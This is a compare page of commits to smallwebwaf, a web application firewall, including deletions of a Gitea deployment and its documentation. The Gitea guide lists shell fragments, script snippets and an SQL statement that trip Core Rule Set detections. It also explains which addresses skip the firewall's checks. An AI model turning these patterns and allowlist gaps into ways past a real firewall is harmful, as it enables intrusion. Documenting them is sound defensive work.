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issue-178-deploy-gitea .. 158b0b62e5
Author SHA1 Message Date
clawbot 158b0b62e5 Read SWWAF_IPV6_GROUP_PREFIX, SWWAF_MAX_TRACKED_CLIENTS and SWWAF_LOG_LEVEL (closes #112)
check / check (push) Canceled after 0s
Details 
The IPv6 group that is one client, the size of the table of clients and
the level of the process's own lines become settings. clientGroup reads
the group length from them, so limits, bans, history, lookups, AbuseIPDB
scores and per-client anomaly counters all follow it; ratelimit.New
takes the table size; the process logger takes the level once the
settings are read, and request lines, written apart from it, are never
held back.

Judgement call: SWWAF_IPV6_GROUP_PREFIX accepts 32 to 128, the issue's example range.

Model: opus-5-5
 2026-10-07 22:08:48 +00:00
109 changed files with 7431 additions and 19316 deletions
Expand all files Collapse all files
Dockerfile
+11 -21
View File
@@ -36,12 +36,11 @@ RUN go mod tidy -diff || \
{ echo "go.mod or go.sum is not tidy: run make tidy" >&2; exit 1; }
# Go's build cache is kept on a tmpfs, out of the image: nothing uses it
# after this step, and writing it into the image takes seconds. The tests
# are built with the no_fs_access tag, as the binary is in the build stage.
# after this step, and writing it into the image takes seconds.
RUN --mount=type=tmpfs,target=/root/.cache/go-build \
go test -tags no_fs_access -timeout 90s -race -cover ./... || \
go test -timeout 90s -race -cover ./... || \
{ echo "--- Rerunning with -v for details ---"; \
go test -tags no_fs_access -timeout 90s -race -v ./...; exit 1; }
go test -timeout 90s -race -v ./...; exit 1; }
# Tidy stage: `go mod tidy` in the test phase's Go, so that the files it
# writes pass the test phase's check. Nothing else depends on it, so only
@@ -85,10 +84,7 @@ COPY . .
# The VERSION build arg when one is given, otherwise
# `git describe --tags --always` on the .git in the build context. With
# .git present, a version that is still empty, dev or unknown fails the
# build: git is missing or could not read the checkout. The no_fs_access
# tag keeps Coraza from writing the files of a multipart body to the
# system's temporary directory, since smallwebwaf writes only to its state
# directory.
# build: git is missing or could not read the checkout.
ARG VERSION
RUN VERSION="${VERSION:-$(git describe --tags --always)}"; \
if [ -e .git ]; then \
@@ -97,7 +93,7 @@ RUN VERSION="${VERSION:-$(git describe --tags --always)}"; \
exit 1 ;; \
esac; \
fi; \
CGO_ENABLED=0 go build -tags no_fs_access -trimpath \
CGO_ENABLED=0 go build -trimpath \
-ldflags="-s -w -X main.Version=${VERSION}" \
-o /usr/local/bin/smallwebwaf ./cmd/smallwebwaf
@@ -117,9 +113,8 @@ RUN git checkout --quiet --detach b4b2c785308b1ce785b6155c7fe5f16879080193 \
&& CGO_ENABLED=0 go build -trimpath -ldflags="-s -w" \
-o /usr/local/bin/runsvinit .
# The image, described under "Deployment" in SPEC.md. It runs rproxy unless
# SMALLWEBWAF_COMMAND says servewaf, and an app's Dockerfile can build FROM it.
# It is the last stage, so a plain `docker build .` builds it.
# The image an app's Dockerfile builds FROM, described under "Deployment"
# in SPEC.md. It is the last stage, so a plain `docker build .` builds it.
#
# ubuntu 26.04, 2026-09-27
FROM ubuntu@sha256:f144425ff09be612d6d9ad965196e9cdc23dae1f42110a8a11a3e9a8198759f7
@@ -141,14 +136,10 @@ RUN mkdir /etc/sysusers.d \
# apt also fetches the live archive's InRelease files, which change daily
# and which the install does not use. The snapshot service is HTTPS only
# and this image has no CA certificates yet, so this step uses the Go
# image's. The snapshot service answers 503 at times; apt retries a
# failed download, waiting twice as long before each retry, and this
# step gives it five retries, about half a minute in all, where its
# default of three gives up after seven seconds.
# image's.
RUN --mount=type=bind,from=builder,source=/etc/ssl/certs/ca-certificates.crt,target=/tmp/go-image-ca.crt \
apt-get update --snapshot 20261001T000000Z \
-o Acquire::https::CaInfo=/tmp/go-image-ca.crt \
-o Acquire::Retries=5 \
&& printf '%s\n' \
'45f95ce276cdba3e41870516a130e03c58b8b7a79e9546b0efe9e526d255740c snapshot.ubuntu.com_ubuntu_20261001T000000Z_dists_resolute_InRelease' \
'802e675dd9de4c7f3916434a95e7c1d8eec0e82886622d7805ab19a2c6fe0365 snapshot.ubuntu.com_ubuntu_20261001T000000Z_dists_resolute-updates_InRelease' \
@@ -158,7 +149,6 @@ RUN --mount=type=bind,from=builder,source=/etc/ssl/certs/ca-certificates.crt,tar
&& DEBIAN_FRONTEND=noninteractive apt-get install --yes --no-install-recommends \
--snapshot 20261001T000000Z \
-o Acquire::https::CaInfo=/tmp/go-image-ca.crt \
-o Acquire::Retries=5 \
ca-certificates nix-bin runit \
&& rm -rf /var/lib/apt/lists/*
@@ -198,11 +188,11 @@ RUN groupadd --system --gid 65532 smallwebwaf \
# The state files' directory, SWWAF_STATE_DIR by default, where a volume
# is mounted to keep them across deploys. The run script gives it to the
# smallwebwaf user at each start of servewaf.
# smallwebwaf user at each start.
RUN mkdir /var/lib/smallwebwaf
# The default rule file, in SWWAF_RULES_DIR by default, where a Dockerfile
# built FROM this image can copy rule files of its own beside it.
# The default rule file, in SWWAF_RULES_DIR by default, where an app's
# Dockerfile can copy rule files of its own beside it.
COPY share/rules.d/00-default.rules /etc/smallwebwaf/rules.d/00-default.rules
# runsvinit starts runit's runsvdir on /etc/service, where Ubuntu's sv
Makefile
+2 -10
View File
@@ -1,13 +1,11 @@
.PHONY: bootstrap setup test lint fmt fmt-check tidy check docker hooks build \
run example-app gitea-requests gitea-setup
run example-app
# Makefile targets are thin shims; the implementations live in script/
# per the scripts-to-rule-them-all pattern (see the Entrypoints section
# of README.md). tidy writes go.mod and go.sum as `go mod tidy` does,
# which test checks. build and run are for working on the code by hand;
# example-app checks the image with an app built on it; gitea-requests
# reports the gitea requests the Core Rule Set refuses at the defaults;
# gitea-setup checks the setup in deploy/gitea.
# example-app checks the image with an app built on it.
bootstrap:
@script/bootstrap
@@ -47,9 +45,3 @@ run:
example-app:
@script/example-app
gitea-requests:
@script/gitea-requests
gitea-setup:
@script/gitea-setup
README.md
+1922 -380
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File diff suppressed because it is too large Load Diff
SPEC.md
+1546 -1619
View File
File diff suppressed because it is too large Load Diff
cmd/smallwebwaf/main.go
+3 -5
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@@ -1,8 +1,6 @@
// Command smallwebwaf is a web application firewall. `smallwebwaf rproxy` is
// the reverse proxy in front of one app, which asks servewaf about each request.
// `smallwebwaf servewaf` decides, for many sites, and keeps what lasts.
// `smallwebwaf healthcheck` is the container's health check. Everything it does
// is in internal/smallwebwaf.
// Command smallwebwaf is a web application firewall for one app: it runs
// between traefik and the app, and passes requests through within its
// limits. Everything it does is in internal/smallwebwaf.
package main
import (
deploy/gitea/compose.yaml
-120
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@@ -1,120 +0,0 @@
# Gitea behind traefik, with rproxy and servewaf in front of it.
# docs/gitea.md says what each setting here does and why. Before starting it:
# - set SMALLWEBWAF_IMAGE to the smallwebwaf image, named by digest;
# - replace git.example.org with the site's host name;
# - replace each 10.99.0 with the first three numbers of a /24 subnet that
# no other network on the host uses.
# Then run `docker compose up --detach` in this directory.
# script/gitea-setup checks this setup.
name: gitea
x-logging: &logging
driver: json-file
options:
max-size: 10m
max-file: "5"
services:
traefik:
# traefik v3.7.17, 2026-11-03
image: traefik@sha256:68ae5fe5b64ca166704b746a9e8afcd385e36b3f569a5691401bf652d57b3748
# traefik replaces the X-Forwarded-For header a visitor sends. Keep it
# so: otherwise a visitor could name an address on the shared network,
# and skip servewaf's checks.
command:
- --providers.docker.exposedbydefault=false
- --entrypoints.web.address=:80
- --entrypoints.web.http.redirections.entrypoint.to=websecure
- --entrypoints.websecure.address=:443
# Until a certificate resolver is added here, as for your other
# sites, traefik answers with a certificate it made itself.
- --entrypoints.websecure.http.tls=true
# traefik's own limit of 60 seconds for a whole request would cut
# off an upload long before rproxy's limit of 30 minutes.
- --entrypoints.websecure.transport.respondingTimeouts.readTimeout=30m
ports:
- 80:80
- 443:443
volumes:
- /var/run/docker.sock:/var/run/docker.sock:ro
networks:
shared:
# Containers on the shared network find traefik under the
# site's name, and so reach it from their own address.
aliases:
- git.example.org
restart: unless-stopped
gitea:
# gitea 1.27.3, 2026-08-29
image: gitea/gitea@sha256:87a67ee09d3ae0d1df5fda5dcda3e2a1f9236a45b0a59025d6e00e46adc43bef
environment:
GITEA__server__ROOT_URL: https://git.example.org/
# Gitea starts at its defaults, with SQLite, instead of showing its
# install page to whoever opens it first.
GITEA__security__INSTALL_LOCK: "true"
# rproxy's address. Gitea then takes each visitor's address from
# the X-Real-Ip header traefik sets and rproxy passes on.
GITEA__security__REVERSE_PROXY_TRUSTED_PROXIES: 10.99.0.2
volumes:
- gitea-data:/data
networks:
- shared
restart: unless-stopped
rproxy:
image: ${SMALLWEBWAF_IMAGE:?set SMALLWEBWAF_IMAGE to the smallwebwaf image}
environment:
SWRP_WAF_BACKEND: http://servewaf:8080
SWRP_UPSTREAM_URL: http://gitea:3000
# Pushes, LFS objects, packages and release attachments of up to
# 2 GiB, sent in up to 30 minutes.
SWRP_MAX_REQUEST_SIZE: 2G
SWRP_MAX_REQUEST_TIME_MS: "1800000"
# 15 minutes for a clone or a download, half the default.
SWRP_MAX_RESPONSE_TIME_MS: "900000"
labels:
traefik.enable: "true"
traefik.http.routers.gitea.rule: Host(`git.example.org`)
traefik.http.routers.gitea.entrypoints: websecure
traefik.http.services.gitea.loadbalancer.server.port: "8080"
networks:
shared:
ipv4_address: 10.99.0.2
logging: *logging
restart: unless-stopped
servewaf:
image: ${SMALLWEBWAF_IMAGE:?set SMALLWEBWAF_IMAGE to the smallwebwaf image}
environment:
SMALLWEBWAF_COMMAND: servewaf
# The containers on the shared network skip the checks. Add the
# address of an automation fleet on another host here too; without
# that, the default request limits are sized for such a fleet.
SWWAF_ALLOW_NETS: 10.99.0.128/25
# In block mode the Core Rule Set refuses everyday Gitea searches
# and file names, and 31 refusals in a minute ban the address.
SWWAF_WAF_MODE: detect
volumes:
- servewaf-state:/var/lib/smallwebwaf
networks:
- shared
logging: *logging
restart: unless-stopped
networks:
# The network traefik and Gitea share. Its containers get addresses in its
# upper half, which servewaf lets skip the checks. The gateway, the host's
# own address on it, stays out of that half: requests docker passes on from
# a published port, such as those of visitors over IPv6, can come from it.
shared:
ipam:
config:
- subnet: 10.99.0.0/24
ip_range: 10.99.0.128/25
gateway: 10.99.0.1
volumes:
gitea-data:
servewaf-state:
docs/admin-endpoints.md
-60
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@@ -1,60 +0,0 @@
# Admin endpoints
The endpoints under `/_smallwebwaf/`, what each takes and what each answers.
`smallwebwaf servewaf` answers them at its own address, on the private network.
"Admin endpoints" in [`SPEC.md`](../SPEC.md) says how their tokens work.
- `GET /_smallwebwaf/healthz`: `200` and `ok`, to anyone.
- `GET /_smallwebwaf/metrics`: the metrics, for `SWWAF_METRICS_TOKEN` (see
[`metrics.md`](metrics.md)).
- `GET /_smallwebwaf/bans`: every ban held, under `bans`, each as `bans.json`
lists it. Needs `SWWAF_ADMIN_TOKEN`, as do the three below.
- `POST /_smallwebwaf/bans`: bans a netblock. The body is a JSON object of
`netblock`, `duration` and, if you like, `reason`. `netblock` is a netblock
such as `203.0.113.0/24`, or a client's address, which bans its IPv4 netblock
(`SWWAF_BAN_SCOPE_V4_PREFIX`) or its IPv6 group. `duration` is a duration such
as `1h` or `7d`, or `permanent`. A bad body is answered `400`, saying what is
wrong:
- one that is not such an object, or has another field;
- one longer than 4 KiB;
- one that names an IPv4-mapped netblock, or an address with a zone.
- `DELETE /_smallwebwaf/bans/<client>`: lifts every active ban covering the
address `<client>`. It answers `404` when none is active.
- `GET /_smallwebwaf/clients/<ip>`: what `servewaf` knows of the client. Under
`client`, its counters and history as `clients.json` holds them, or `null`
when `clients.json` does not hold it. Under `bans`, every ban covering the
address, with its notes.
- `POST /_smallwebwaf/report`: takes `rproxy`'s report, without a token. It
answers `204`, or `400` to a body that is no report (see "The report" in
[`SPEC.md`](../SPEC.md)).
No check runs on these requests. A missing or wrong token is answered `401`. An
endpoint whose token is unset answers `404`, as does any other path.
`smallwebwaf rproxy` answers only the health check of these, at its own address.
It asks `servewaf` about any other request under `/_smallwebwaf/`. One that
passes the checks is answered `404`, so that the app never sees that prefix (see
"`rproxy`" in [`SPEC.md`](../SPEC.md)).
## Examples
With `SWWAF_ADMIN_TOKEN` set, the token in `$TOKEN`, and `servewaf` reached as
`servewaf:8080` on its network:
```sh
# Every ban.
curl -H "Authorization: Bearer $TOKEN" http://servewaf:8080/_smallwebwaf/bans
# Ban 203.0.113.0/24 for seven days.
curl -H "Authorization: Bearer $TOKEN" \
--json '{"netblock": "203.0.113.0/24", "duration": "7d", "reason": "probes for logins"}' \
http://servewaf:8080/_smallwebwaf/bans
# Lift the bans on 203.0.113.9.
curl -H "Authorization: Bearer $TOKEN" -X DELETE \
http://servewaf:8080/_smallwebwaf/bans/203.0.113.9
# What servewaf knows of 203.0.113.9.
curl -H "Authorization: Bearer $TOKEN" \
http://servewaf:8080/_smallwebwaf/clients/203.0.113.9
```
docs/alerts.md
-137
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@@ -1,137 +0,0 @@
# Alerts
The alert events, the JSON object the webhook gets, and the messages Slack and
ntfy get. "Alerting" in [`SPEC.md`](../SPEC.md) says when an alert is sent, held
back or dropped.
## Events
- `ban`: a ban `servewaf` made.
- `permanent_ban`: a permanent ban it made, or an existing ban made permanent by
a request.
- `waf_block`: the Core Rule Set scored a request at or over the threshold. The
request was refused unless the alert's `detail` gives `mode`: `detect` or
`observe`.
- `anomaly`: a count over an anomaly threshold.
- `reputation_hit`: a request from a client on a blocklist, the CrowdSec
decision list or a DNS blocklist, or with an AbuseIPDB score that is a hit.
One alert per source.
- `source_failure`: one of:
- GeoJS failing;
- a list that cannot be fetched;
- a DNS blocklist or AbuseIPDB failing or refusing a query;
- the day's AbuseIPDB checks used up.
- `file_error`: one of:
- a rule file or state file edit with an error;
- a state file that cannot be written;
- a replacement lookup database that cannot be read.
- `summary`: the hourly summary of alerts held back.
## The JSON object
This is the alert for a ban for a broken rate limit, shown indented; it is sent
on one line:
```json
{
"instance": "fsn1/servewaf",
"time": "2026-10-06T12:00:50.123461Z",
"event": "ban",
"host": "app.example",
"client": "203.0.113.9",
"netblock": "203.0.113.9/32",
"asn": "",
"as_name": "",
"country": "",
"reason": "requests per minute over the limit of 500",
"detail": {
"ban_expires": "2026-10-06T13:00:50.123Z",
"cause": "limit",
"notes": {
"asn": "",
"as_name": "",
"country": "",
"kind": "requests",
"limit": 500,
"window": "minute",
"count": 501,
"request": {
"time": "2026-10-06T12:00:50.123456789Z",
"method": "GET",
"host": "app.example",
"path": "/owner/repo/commits/branch/main?page=501",
"status": 403,
"user_agent": "scraper/1.0"
},
"requests": 501,
"refused": 0,
"earlier_bans": {
"limit": 0,
"attack": 0,
"admin": 0,
"crowdsec": 0
}
}
},
"suppressed_repeats": 0
}
```
- `instance`: `SWWAF_INSTANCE_NAME`. `time`: when the alert was raised. `event`:
one of the events above.
- `host`: the site of the request that raised the alert, since one `servewaf`
serves many sites. It is left out of `source_failure`, `file_error` and
`summary`.
- `client`: the address whose request raised the alert. Empty for
`source_failure`, `file_error` and `summary`.
- `netblock`: empty for `source_failure`, `file_error` and `summary`; otherwise
one of:
- the ban's netblock;
- the netblock an anomaly counted, empty in the `asn` and `total` scopes;
- for the other events, the client as rate limiting counts it: an IPv4
address as a /32, or an IPv6 group.
- `asn`, `as_name` and `country`: the client's, as known when the alert was
raised. They are empty when GeoJS had not answered yet.
- `reason`: a short sentence, such as
`requests per minute over the limit of 500` or `listed by a blocklist`.
- `detail`: what is particular to the event:
- for a ban, its `cause`, `ban_expires` and `notes` (the notes are listed
under `bans.json` in [`state-files.md`](state-files.md));
- for an anomaly, the `scope`, `window`, `kind`, `count` and `threshold`;
- for a reputation hit, the `source` and, for AbuseIPDB, the `score`;
- for a Core Rule Set match, the `rule_ids`, `score`, `method` and `path`;
- for a source failure, the `source` and `error`;
- for a file error, the `file` and `error`;
- for a summary, the `hour` it covers, the `count` of alerts held back, and
that count by event in `events`;
- `mode`, when the request was not refused: `detect` or `observe`.
- `suppressed_repeats`: how many repeats the cooldown held back before this
alert.
## Slack and ntfy
Slack and ntfy get a message with a title and a text. The title is the instance
and the event, such as `fsn1/servewaf: ban`. The text is the `reason`, then one
line for each of these that the alert has:
- the host, the client, the netblock and the country;
- the file, the source, the error and the mode from `detail`;
- the suppressed repeats, if any.
Slack gets the title in bold and the text below it, with `&`, `<` and `>`
escaped. ntfy gets the text as the message, with these headers:
- `Title`: the title;
- `Authorization`: the token, as `Bearer <token>`, while
`SWWAF_ALERT_NTFY_TOKEN` is set;
- `Priority` and `Tags`: by event, as listed below.
The priority and tag by event:
- `ban`: priority `default`, tag `no_entry`.
- `permanent_ban`: priority `high`, tag `no_entry`.
- `waf_block`: priority `default`, tag `shield`.
- `anomaly`: priority `high`, tag `chart_with_upwards_trend`.
- `reputation_hit`: priority `low`, tag `label`.
- `source_failure` and `file_error`: priority `high`, tag `warning`.
- `summary`: priority `default`, tag `bar_chart`.
docs/gitea.md
-336
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@@ -1,336 +0,0 @@
# smallwebwaf in front of gitea
`deploy/gitea/compose.yaml` runs gitea behind traefik, with `rproxy` and
`servewaf` in front of it. This document says what that setup sets and why, and
what the defaults would do without it. [`SPEC.md`](../SPEC.md) says how
`smallwebwaf` behaves.
## The setup
Four containers share one Docker network, the shared network:
- traefik, which routes the site's HTTPS requests to `rproxy`, and redirects
plain HTTP to HTTPS;
- `rproxy`, in front of gitea;
- gitea 1.27.3, as its image comes;
- `servewaf`, with a volume for its state files.
To start it:
1. In `deploy/gitea/compose.yaml`, replace `git.example.org` with the site's
host name.
2. Replace each `10.99.0` with the first three numbers of a `/24` subnet that no
other network on the host uses.
3. Set `SMALLWEBWAF_IMAGE` to the `smallwebwaf` image, named by digest.
4. Run `docker compose up --detach` in `deploy/gitea`.
5. Make gitea's first user with `gitea admin user create`, in gitea's container,
as the user `git`.
gitea starts at its defaults, with SQLite, instead of showing its install page
to whoever opens it first. traefik answers with a certificate it made itself
until you add a certificate resolver, as for your other sites. SSH to gitea does
not pass through `smallwebwaf`; publish gitea's SSH port yourself if you use it.
`make gitea-setup` checks the setup. It builds the image, brings the setup up
under a name of its own, and checks:
- that a page load, a push and a clone sent through traefik pass through
`rproxy`, and that `servewaf` checks them;
- that gitea logs the visitor's address, not `rproxy`'s;
- that a request from a container on the shared network skips the checks;
- that with `servewaf` stopped, gitea still answers through `rproxy`.
## Uploads and downloads
An upload is a request:
- a git push;
- an LFS object;
- a container image layer;
- a package file;
- a release attachment.
The setup lets an upload of up to 2 GiB, sent in up to 30 minutes, through:
- `SWRP_MAX_REQUEST_SIZE` is `2G`. At the default, an upload over 100 MiB is cut
off.
- `SWRP_MAX_REQUEST_TIME_MS` is `1800000`, 30 minutes. At the default, an upload
that takes over 60 seconds is cut off.
- traefik's `readTimeout` is 30 minutes. traefik's own default of 60 seconds for
a whole request would cut off an upload first.
A clone or a download is a response:
- `SWRP_MAX_RESPONSE_TIME_MS` is `900000`, 15 minutes, half the default. A clone
or download that takes longer is cut off.
- `SWRP_MAX_RESPONSE_SIZE` stays at its default, 1 GiB. A repository whose clone
is larger needs it raised, and the byte limits with it ("Byte limits, per
client" in `SPEC.md`).
The byte limits stay at their defaults. Two uploads of 2 GiB from one address in
one minute pass the minute's limit of 4 GiB, and ban the address.
## The checks
`SWWAF_WAF_MODE` is `detect`. The Core Rule Set then logs a match, with its rule
ids, and refuses nothing. In `block` mode, the default, it refuses everyday
gitea searches and file names, which "What the Core Rule Set refuses in `block`
mode" below lists. Each such refusal counts toward the error burst, so 31 in one
minute ban the address.
Every other check stays at its default. A client may make 500 requests a minute,
20,000 an hour and 300,000 a day. Archive downloads and blame and history pages
are what scrapers hammer, and these limits do most of the work there.
## The shared network
Containers on the shared network skip `servewaf`'s checks:
- The shared network's subnet is `10.99.0.0/24`. Docker gives its containers
addresses in the upper half, `10.99.0.128/25`, which `SWWAF_ALLOW_NETS` names.
- traefik is known on the shared network by the site's host name. So a container
there that asks for the site reaches traefik from its own address. An
automation fleet in such a container skips the checks.
- The network's gateway, `10.99.0.1`, is the host's own address on it. Requests
docker passes on from a published port can come from it, such as those of
visitors over IPv6. So the gateway is left out of `SWWAF_ALLOW_NETS`.
- A container on the shared network that asks for the site at the host's public
address arrives from the gateway. It is checked like any visitor.
- A fleet on another host can have its address added to `SWWAF_ALLOW_NETS`.
Without that, the default request limits are sized for such a fleet.
- traefik replaces the `X-Forwarded-For` a visitor sends, by default. Keep it
so: otherwise a visitor could name an address on the shared network, and skip
the checks.
- Anything on the shared network can reach gitea and `servewaf` around `rproxy`.
Put only containers you trust on it.
## gitea's settings
- `REVERSE_PROXY_TRUSTED_PROXIES` names `rproxy`'s fixed address, `10.99.0.2`.
gitea then takes each visitor's address from the `X-Real-Ip` header, which
traefik sets and `rproxy` passes on. Without it, gitea logs every visitor as
`rproxy`.
- `INSTALL_LOCK` is `true`, as "The setup" above says.
## Methods
`rproxy` passes on only these methods: `GET`, `HEAD`, `POST`, `OPTIONS`, `PUT`,
`DELETE`, `PATCH` and `QUERY`. gitea 1.27.3 needs no other. Its routes use:
- pages and the API: `GET`, `HEAD`, `POST`, `PUT`, `PATCH` and `DELETE`;
- git's push, clone and fetch over HTTP: `GET`, `POST` and `OPTIONS`;
- LFS: `GET`, `POST` and `PUT`;
- the container registry and the other package registries: `GET`, `HEAD`,
`POST`, `PUT`, `PATCH` and `DELETE`;
- Actions runners: `POST`.
## The log
`rproxy` and `servewaf` write each query string to the log whole. A token sent
in the query string, as `?token=`, is then in the log. Send it in the
`Authorization` header instead.
## Actions runners
A runner on the shared network skips the checks. One on another host is counted
like any client. A runner older than version 0.4 (April 2026) asks for work
every 2 seconds, 43,200 requests a day. While it runs a job, it reports the
job's log and state every second instead, two requests a second. So one runner
busy all day sends 120 requests a minute and 172,800 a day, under the request
limits.
Several runners on one address can pass them:
- Two busy all day make 345,600 requests, and pass the day limit of 300,000.
- Three busy at once make 21,600 an hour, and pass the hour limit of 20,000.
- Five busy at once make 600 a minute, and pass the minute limit of 500.
Their address is then banned, their running jobs fail, and each repeat within a
day makes the ban longer. Newer runners ask for work less often. Put the
runners' addresses in `SWWAF_RATE_LIMIT_EXEMPT_NETS`.
## What the Core Rule Set refuses in `block` mode
These notes record what the Core Rule Set does in front of gitea in `block`
mode, at the other defaults. They are observations, not requirements.
`script/gitea-requests` runs gitea behind `rproxy` and `servewaf` at the
defaults. It sends through them a sample of gitea's ordinary use and the
requests named below. It reports each request the Core Rule Set refuses, so that
these notes can be checked again when gitea or the Core Rule Set changes
version. In `detect` mode, as the setup runs it, the same requests are logged
with their rule ids, and pass.
Each refusal answers only that request ("Bans" in `SPEC.md` says what it counts
toward). The request log names the rule in `waf_rule_ids`, which
`SWWAF_WAF_DISABLED_RULES` can switch off.
### What it lets through
The Core Rule Set lets gitea's ordinary use through, apart from the refusals in
the sections after this one:
- browsing and views of files in a repository, with their history, blame and the
file tree;
- diffs, including their hidden lines and large files, and pull request review;
- git's clone, fetch and push over HTTP;
- signing in, including the return to the page a visitor came from, and sign-in
with Git Credential Manager, git-credential-oauth or tea;
- the API's calls for a file and its commits;
- pushing and pulling container images and packages;
- Actions runners, and artifacts uploaded with `actions/upload-artifact@v4`;
- posting issues, pull requests, comments, wiki pages and files saved in the web
editor, code included, since no body is read;
- the page gitea shows after a change, with its message naming what was done.
### A query string that reads as an attack
Most often this is a search. A search term is a query parameter, which the Core
Rule Set checks against its lists of system files and commands (see the fourth
change under "Attack detection" in `SPEC.md`). A release attachment uploaded
through the API as `docker-compose.yml` is refused the same way. Examples:
- a name on those lists, such as `package.json`, `.gitignore` or
`docker-compose.yml`;
- text that starts with a command name, such as `python3` or `ssh key`, or has
one right after a `/` in its first word, such as `feat/docker-support`;
- a shell command with its options or a system path (`ls -la`, `sed -i`,
`/bin/sh`), or a command in backticks;
- script code (`fetch(`, `${VAR}`, `process.env`), HTML (`<img src=`) or an SQL
statement (`SELECT * FROM users WHERE`);
- a URL naming an IP address or `localhost`.
### A branch, tag or file name that starts with a command name
The Core Rule Set's list of commands (932260) holds names such as `docker-`,
`python3`, `ansible`, `base64` and `whoami`. A query parameter holding a branch,
tag or file name that starts with one is refused. So is one that has such a name
right after a `/`, such as `feat/docker-support`, `fix/docker-build` or
`renovate/docker-build-push-action-6.x`. gitea's own pages send the name in a
query parameter that 930120, 932160 and 932260 still check:
- `refSubUrl`, the branch or tag of a directory listing. A listing sends it when
it asks for its entries' last commits in a second request. It does so whenever
gitea takes more than a second to work them out;
- `name`, when a branch is deleted or restored on the branches page;
- `tag`, when a release is started from a tag;
- `template`, the file of an issue template, when an issue is opened from it;
- `rule_name`, when a branch protection rule is opened for editing in the
repository's settings or has just been saved.
What a visitor sees, for a branch named `docker-build`:
- A directory listing that makes that second request leaves those last commits
out and shows an error.
- The branches page shows an error instead of deleting or restoring the branch.
- A release started from such a tag gets the `403` answer of `smallwebwaf` in
place of its form. So does an issue opened from such a template, and such a
rule opened for editing.
- Saving such a rule stores it. gitea then returns to the branch settings page,
which gets the `403` answer, so the save looks as if it failed.
### A file name in a query parameter that trips the code rules
The Core Rule Set's rules for Java, script, PowerShell and SQL find what they
look for in some file names. This holds too in the ten query parameters that
930120, 932160 and 932260 do not check (see the fourth change under "Attack
detection" in `SPEC.md`). Examples:
- `runtime` in OpenJDK's `src/java.base/share/classes/java/lang/Runtime.java`
(944110);
- a Java class, as in `java.lang.String.md` (944130);
- `document.write.js` (941180);
- `process.env.d.ts` (934100);
- `__proto__` (934130);
- the PowerShell command `Install-Script`, as in `install-script.sh` (932120);
- a database's name, as in PostgreSQL's `information_schema.sql` (942140).
For such a file, these requests are refused:
- the API's list of its commits (`path`);
- the API's call for the contents of files that names it in its query (`body`);
- the commit graph of that file alone (`file`);
- the hidden lines of its diff (`path`), which stay hidden;
- the sign-in page, for a visitor who opens a page of the file that needs
signing in, such as its edit page (`redirect_to`). The visitor can still sign
in by opening the sign-in page itself.
### A path
- A file name ending in `~`, or an `.xhtml` file whose path holds a space.
- A path that holds what the Core Rule Set takes for a Java class (944130), as
`java.lang.String.md` and
`META-INF/services/org.apache.commons.logging.LogFactory` do.
- A path that holds what it takes for Node.js code (934100), as
`process.env.d.ts` does.
- A path with a directory named `...` (930100, 930110), such as `.../notes.txt`.
For such a file, these are refused:
- the page of the file;
- its raw file;
- its history and its blame;
- its edit page.
The directory that holds it lists it, and a clone carries it.
### A container image push that reuses a layer
A push can reuse a layer of an image docker has pushed to that gitea before.
docker then asks gitea to take the layer from that image, naming it in the query
parameter `from`, which 932260 checks. The request is refused when the image's
owner starts with an entry on the list of commands. It is refused too when the
image's name after the owner starts with one. Examples are `owner/python3-app`,
`owner/docker-base`, and any image of an owner named `ansible` or `docker-team`.
What happens next depends on docker's image store. A docker that keeps its
images in containerd's image store fails the push, and fails each new try the
same way. A new install of Docker Engine 29 does this. A docker that keeps them
in its own older image store uploads the layer instead. The push then succeeds
after one refusal for each layer it reuses, and each of those refusals counts
toward the error burst ("Attack detection" in `SPEC.md`).
### Artifact uploads from `actions/upload-artifact@v3`
This action sends the header `Content-Range`, which the Core Rule Set refuses
(920450). The action sends two files at a time, does not retry a `403`, and
sends no further file once one is refused. So an upload is refused once or
twice, however many files it holds, and the step fails. One upload does not ban
the runner. The error burst ("Attack detection" in `SPEC.md`) bans it after more
than 30 such refusals from its address in a minute, as when many jobs upload at
once. `actions/upload-artifact@v4` does not send the header.
### What body inspection refuses
With `SWWAF_WAF_BODY_LIMIT` set, the Core Rule Set reads request bodies too. In
front of gitea it then refuses these, until their rule ids, named in the request
log, are added to `SWWAF_WAF_DISABLED_RULES`:
- issue and comment text, wiki pages and files saved in the web editor that hold
shell commands or code (932125, 932235, 932250 and others);
- package descriptions that show code;
- PyPI uploads (922130);
- attachments named like `debug.log` or `config.yml` (932180).
### What `script/gitea-requests` sends
Of the requests above, the script sends:
- for each file named under "A file name in a query parameter that trips the
code rules", the API's list of its commits;
- for `Runtime.java` alone, the commit graph of that file, the hidden lines of
its diff, and the API's call for the contents of files that names it;
- the sign-in page for a visitor who opens the edit page of `document.write.js`;
- the pages of `java.lang.String.md`,
`META-INF/services/org.apache.commons.logging.LogFactory`, `process.env.d.ts`
and `.../notes.txt`;
- one container image push that reuses a layer, which it does not try again.
It does not send the raw file, history, blame or edit page of those four files,
or the pages of the directories `META-INF/services` and `...`. It also sends a
short sample of gitea's ordinary use:
- signing in;
- pages of files and commits, and a diff;
- the API;
- a push, and clone and fetch over HTTP;
- two container image pushes.
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# What the image holds
The contents of the `smallwebwaf` image, and how each part is pinned. The image
runs `rproxy` by default, or `servewaf` with `SMALLWEBWAF_COMMAND=servewaf`.
"Deployment" in [`SPEC.md`](../SPEC.md) says why each part is there and why it
is pinned that way.
## Contents
- Ubuntu 26.04 LTS, pinned by digest.
- `ca-certificates`, `nix-bin` and `runit` from Ubuntu, from the snapshot of its
archive at `20261001T000000Z`.
- Nix, with nixpkgs `nixos-26.05.11045.774debe7a0d1` set up for root as
`nixpkgs`. No Nix daemon; `build-users-group =` in `/etc/nix/nix.conf`. Root's
Nix profile, `/nix/var/nix/profiles/default/bin`, last on the `PATH`.
Unpacked, nixpkgs takes about 500 MiB.
- `runsvinit` as the entrypoint, built from `github.com/peterbourgon/runsvinit`
at a fixed commit hash.
- The `smallwebwaf` binary, and the user `smallwebwaf` (uid and gid 65532).
- The service directory `/etc/service/smallwebwaf`, with the `run` script
`share/smallwebwaf.run`.
- `/var/lib/smallwebwaf` for `servewaf`'s state files, and
`/etc/smallwebwaf/rules.d` with the default rule file
`share/rules.d/00-default.rules`.
- `EXPOSE 8080`, and the `HEALTHCHECK` that runs `smallwebwaf healthcheck`.
## Pins
- Ubuntu's packages: the snapshot service, `--snapshot 20261001T000000Z` on both
`apt-get update` and `apt-get install`. The SHA-256 hash of each of the
snapshot's `InRelease` files is named in the `Dockerfile` and checked after
`apt-get update`. The hashes are the amd64 archive's.
